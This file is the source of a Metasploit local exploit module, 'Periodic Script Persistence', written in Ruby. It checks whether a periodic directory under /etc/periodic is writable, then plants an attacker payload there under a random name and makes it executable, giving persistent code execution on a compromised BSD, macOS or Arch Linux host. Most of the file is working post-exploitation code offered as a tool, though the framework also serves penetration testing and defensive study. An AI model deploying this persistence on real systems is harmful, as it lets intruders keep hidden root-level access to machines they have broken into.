adfoster-r7
105 lines
3.9 KiB
Ruby
105 lines
3.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking
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prepend Msf::Exploit::Remote::AutoCheck
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include Msf::Post::File
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include Msf::Exploit::EXE
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include Msf::Exploit::Local::Persistence
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include Msf::Exploit::Deprecated
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moved_from 'exploits/multi/local/periodic_script_persistence'
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Periodic Script Persistence',
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'Description' => %q{
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This module will achieve persistence by writing a script to the /etc/periodic directory.
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According to The Art of Mac Malware no such malware species persist in this manner (2024).
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This payload requires root privileges to run. This module can be run on BSD, OSX or Arch Linux.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'gardnerapp',
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'msutovsky-r7'
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],
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'References' => [
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['URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf'],
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['URL', 'https://superuser.com/questions/391204/what-is-the-difference-between-periodic-and-cron-on-os-x/'],
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['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
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['ATT&CK', Mitre::Attack::Technique::T1053_SCHEDULED_TASK_JOB]
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],
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'DisclosureDate' => '2012-04-01',
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'Privileged' => true,
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'DefaultTarget' => 1, # python is the most compatible across OSes
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'Targets' => [
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[ 'OSX', { 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64], 'Platform' => 'osx' } ],
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[ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ],
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[ 'Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ],
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[ 'Bsd', { 'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'bsd' }]
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],
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'SessionTypes' => [ 'shell', 'meterpreter' ],
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
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'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
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}
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)
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)
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register_options([
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OptEnum.new('PERIODIC_DIR', [true, 'Periodic Directory to write script eg. /etc/periodic/daily', 'daily', %w[daily weekly monthly]]),
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OptString.new('PERIODIC_SCRIPT_NAME', [false, 'Name of periodic script']),
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])
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deregister_options('WritableDir')
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end
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def check
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periodic = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"
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return CheckCode::Vulnerable("#{periodic} is writable") if writable? periodic
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CheckCode::Safe("Unable to write to #{periodic}")
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end
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def write_periodic_script(payload_content)
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periodic_dir = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"
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periodic_script_name = datastore['PERIODIC_SCRIPT_NAME'].blank? ? Rex::Text.rand_text_alphanumeric(rand(6..13)) : datastore['PERIODIC_SCRIPT_NAME']
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periodic_script = File.join(periodic_dir, periodic_script_name)
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# we needed elevated privileges to create the file, so likely no need to sudo here
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@clean_up_rc << "rm #{periodic_script}\n"
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fail_with(Failure::UnexpectedReply, "Unable to write #{periodic_script}") unless upload_and_chmodx(periodic_script, payload_content)
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print_status "Succesfully wrote periodic script to #{periodic_script}."
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end
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def install_persistence
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if target['Arch'] == ARCH_PYTHON
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print_status 'Getting python version & path.'
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python = cmd_exec('which python3 || which python2 || which python')
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fail_with(Failure::PayloadFailed, 'Unable to find python version. ') if python.blank? || !file?(python)
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print_good "Found python path #{python}"
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payload_bin = "#!#{python}\n#{payload.encoded}"
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elsif target['Arch'] == ARCH_CMD
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payload_bin = "#!/usr/bin/env #{cmd_exec('echo ${SHELL}')}\n #{payload.encoded}"
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else
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payload_bin = generate_payload_exe
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end
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write_periodic_script payload_bin
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end
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end
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